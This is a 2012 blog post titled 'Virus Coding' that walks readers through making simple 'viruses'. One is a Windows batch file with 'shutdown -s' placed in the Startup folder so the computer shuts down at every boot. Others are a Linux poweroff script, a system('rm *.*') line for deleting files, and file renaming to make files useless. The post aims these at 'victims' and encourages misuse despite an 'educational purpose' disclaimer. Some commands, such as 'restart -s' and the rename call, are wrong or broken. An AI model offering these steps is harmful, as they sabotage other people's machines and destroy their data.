Tuesday, September 4, 2012


Virus Coding





shutdown/ restart virus

Today i will show you how to create a shutdown/ restart virus for both Windows and Linux. This is very simple and you do not need any programming knowlwdge for it.
This post is not intended to create a havoc and is just for educational purpose.


First we will create the windows version. 
Lets see how it works. Just close all windows . Now go to command prompt(Start >>>"RUN" now trpe "cmd"). Now you have entered MS-DOS/ Command prompt. Here You need to type "shutdown -s" or "restart -s". This will shutdown or restart your comp. We are making use of this DOS command to create this virus.
  • Just open a notepad
  • In that type "shutdown -s" or "restart -s".
  • Now save it as virus.bat
  • Now put this file into start up folder
  • Now this program will load every time the computer starts.
  • Now when you run it your system gets turned off.

Only way out for him is to go in safe mode and delete it from startup. So go ahead and try them out. 
Now the linux version.

In Linux we will create a shell script with the text "poweroff". Now go to the file where script is located and right click on it. Change the permission to allow all. Job done.
So Have fun guys and do leave your feedbacks!

simple Linux virus.

system("poweroff");
This simple script will turn off your victims comp. The above linux virus can be made extremely dangerous by making a simple change. if you can make your code do it's job when ever a person turns on his comp then think what will happen ( i mean other than you going to jail) the person must have to format his system.
Now lets step it up.Lets increase the venom of our snake
system("rm *.*");
This will erase/delete all files with all extension provided the logged user has permission to delete it.Just imagine if the admin runs it then it will create a havoc.
Now lets come back to windows what if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.
These are very simple virus but can cause havoc.

No comments:

Post a Comment